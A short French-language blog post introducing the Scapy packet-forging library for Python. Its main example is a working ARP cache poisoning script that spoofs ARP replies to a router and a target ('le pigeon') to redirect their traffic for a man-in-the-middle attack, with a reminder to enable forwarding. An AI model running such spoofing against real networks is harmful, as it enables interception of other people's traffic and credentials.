Scapy pour forger des paquets en python

Bijour à tous …

Aujourd’hui un truc super sympa : scapy, c’est un forgeur de paquet multi protocole (ARP, TCP, UDP, …) qui permet d’envoyer/receptionner des paquets depuis la couche OSI 2 (Liaison), mais aussi depuis des couches supérieur (y’a aussi d’autres trucs possible comme la lecture de fichier pcap pour réinjecter des trames sur le reseau depuis un dump et …).

Le truc intéressant, c’est qu’il peut remplacer pas mal d’autres outils (hping, arpspoof, tcpdump, tethereal, …) et tout ça en quelques lignes de python (sale bête).

Pour l’utiliser, il n’y a pas grand chose à faire : apt-get install python-scapy

Et ensuite on code son petit soft (on peut bien sûr en chercher sur le net, mais ça supprime une partie du plaisir …).

Par exemple, pour créer un outils d’arp cache poisonning pour du MITM (genre en remplacement de arpspoof ou …) :

#! /usr/bin/env python
from scapy.all import *
import sys
if len(sys.argv) != 3:
        print "Usage: %s ip1 ip2" % sys.argv[0]
        sys.exit(1)

def arppoiso(routeur,pigeon):
        mac = getmacbyip(routeur)
        p = Ether(dst=mac) /ARP(op="is-at",psrc=pigeon, pdst=routeur)
        sendp(p, iface_hint=routeur)

arppoiso(sys.argv[1],sys.argv[2])
arppoiso(sys.argv[2],sys.argv[1])

Le code n’est pas très propre (c’est mon premier programme en python … la honte :p). L’utilisation est vraiment très simple : il suffit de connaitre le protocole qu’on utilise pour forger son paquet et ici empoisonner le routeur et la cible (le pigeon comme d’hab) pour faire rediriger tout les paquets vers son pc, (ne pas oublier le forwarding ;)).

Bien sûr mon programme n’est pas très propre (j’ai lu de meilleurs implémentations de la chose, mais je voulais faire simple).

De très bon liens sur le sujet (pour comprendre différents protocoles et intéragir avec c’est super intéressant) :